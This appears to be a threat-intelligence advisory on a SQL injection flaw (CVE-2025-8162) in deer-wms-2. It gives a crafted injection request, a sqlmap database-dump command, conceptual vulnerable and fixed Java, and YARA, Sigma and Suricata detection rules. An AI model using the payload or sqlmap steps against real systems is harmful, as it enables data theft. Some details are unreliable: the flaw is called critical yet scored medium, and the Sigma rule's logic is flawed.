CVE-2025-8162
Executive Summary
CVE-2025-8162 is a critical SQL injection vulnerability discovered in the Deerwms deer-wms-2 application, affecting versions up to and including 3.3. The flaw resides in the /system/dept/list endpoint, where the params[dataScope] argument is improperly sanitized, allowing an authenticated attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion of database contents. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score of 6.3 reflects a medium severity, but the potential for data breach and system compromise warrants immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Deerwms WMS software. Organizations using this software should verify their version and apply the vendor-provided patch.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a valid user account.
- User Interaction: None (UI:N) – No user action is needed.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full database read access is possible.
- Integrity Impact: Low (I:L) – Limited data modification may be possible.
- Availability Impact: Low (A:L) – Potential for denial of service via SQL injection.
Threat Level: Elevated. The public availability of exploit details and the low complexity of the attack make this a significant risk for unpatched systems.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the params[dataScope] parameter of the /system/dept/list endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating the dataScope parameter, potentially bypassing authentication or extracting sensitive data.
Example vulnerable code snippet (conceptual):
String query = "SELECT * FROM dept WHERE data_scope = '" + request.getParameter("params[dataScope]") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
The attacker can inject a payload like:
' OR '1'='1
to retrieve all records, or use UNION-based injection to extract data from other tables.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Direct concatenation of user input
String dataScope = request.getParameter("params[dataScope]");
String sql = "SELECT * FROM dept WHERE data_scope = '" + dataScope + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
Patched Code (Conceptual):
// Use of parameterized query
String dataScope = request.getParameter("params[dataScope]");
String sql = "SELECT * FROM dept WHERE data_scope = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, dataScope);
ResultSet rs = pstmt.executeQuery();
The patch replaces string concatenation with a PreparedStatement, which safely escapes user input and prevents SQL injection.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable instance of deer-wms-2 (version <= 3.3) in a controlled environment.
- Obtain a valid user account (e.g., admin/admin).
- Use a tool like
sqlmapor manual exploitation.
Exploitation Steps:
- Authenticate to the application and capture the session cookie.
- Send a crafted request to the vulnerable endpoint:
POST /system/dept/list HTTP/1.1 Host: target.com Cookie: JSESSIONID=your_session_id Content-Type: application/x-www-form-urlencoded params[dataScope]=1' OR '1'='1' -- - Observe that the response returns all department records, confirming SQL injection.
- Use
sqlmapto automate extraction:sqlmap -u "http://target.com/system/dept/list" --data="params[dataScope]=1" --cookie="JSESSIONID=your_session_id" --batch --dump
Blue Team
Detection:
- Monitor for unusual SQL errors in application logs.
- Look for requests to
/system/dept/listwith suspiciousparams[dataScope]values containing SQL keywords (e.g.,OR,UNION,SELECT). - Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
Mitigation:
- Immediately apply the vendor patch or upgrade to the latest version.
- If patching is not possible, implement input validation and use parameterized queries.
- Restrict database user permissions to limit the impact of a successful injection.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/system/dept/listwithparams[dataScope]containing SQL syntax. - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- HTTP requests to
- File IOCs:
- Unexpected files in the application directory (e.g., webshells).
- Log IOCs:
- Application logs showing SQL errors or unexpected query patterns.
- Database logs showing queries with injected SQL commands.
Detection Engineering
YARA Rule
rule CVE_2025_8162_SQLi_Deerwms {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-8162 in Deerwms"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8162"
strings:
$s1 = "params[dataScope]=" nocase
$s2 = "OR" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "FROM" nocase
$s6 = "WHERE" nocase
condition:
$s1 and (any of ($s2, $s3, $s4, $s5, $s6))
}
Sigma Rule
title: CVE-2025-8162 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the /system/dept/list endpoint in Deerwms
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/system/dept/list"
cs-uri-query|contains: "params[dataScope]="
cs-uri-query|contains|all:
- "OR"
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of SQL keywords in data (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8162 SQL Injection Attempt"; flow:to_server; content:"/system/dept/list"; http_uri; content:"params[dataScope]="; http_uri; pcre:"/(OR|UNION|SELECT|FROM|WHERE)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade deer-wms-2 to the latest patched version (>= 3.4) provided by the vendor.
- Workaround: If patching is delayed, implement a WAF rule to block requests containing SQL injection patterns in the
params[dataScope]parameter. - Code Fix: Ensure all database queries use parameterized statements or prepared statements.
- Access Control: Review and restrict database user permissions to the minimum required.
- Monitoring: Enable detailed logging for the
/system/dept/listendpoint and monitor for suspicious activity.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert